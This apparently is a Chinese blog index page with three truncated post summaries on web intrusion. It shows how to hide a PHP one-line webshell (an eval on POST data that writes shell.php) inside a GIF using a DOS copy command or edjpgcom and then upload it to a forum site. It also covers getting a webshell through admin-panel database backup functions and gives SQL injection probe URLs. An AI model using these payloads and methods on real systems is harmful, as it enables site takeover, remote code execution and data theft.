摘要：先合并一张PHP一句话图片马，合并方法：①、DOS合并：copy 1.gif /b + 1.txt/a asp.gif②、用edjpgcom，进行图片和一句话木马的合并，图片随便找一张.【顺带着说一下edjpgcom的使用方法：打开edjpgcom.exe所在文件夹，然后把你所要修改的图片拖动到edjpgcom.exe上面，然后edjpgcom.exe会自动打开，写入想要些的代码即可】一句话:<?PHP fputs(fopen(’shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>然后找个nginx的站,先注册一个用户然后在论坛 阅读全文

摘要：asp+acc/mssql程序 主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能，“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。具体方法和分析可以参考angel的文章《动网论坛7.0获得WebShell的分析》。据我所知，目前还有很多的asp程序后台存在这样的漏洞，利用方法大同小异。php+mysql程序① 利用后台的数据查询功能 在有的程序后台提供直接对mysql数据查询功能，我们就可以利用它执行SELECT ... INTO OUTFIL.. 阅读全文

摘要：今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句，只有灵活的运用SQL 语句才能构造出牛比的注入字符串。学完之后写了点笔记，已备随时使用。希望你在看下面内容时先了 解SQL的基本原理。笔记中的代码来自网络。 ===基础部分=== 本表查询： http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)=' 阅读全文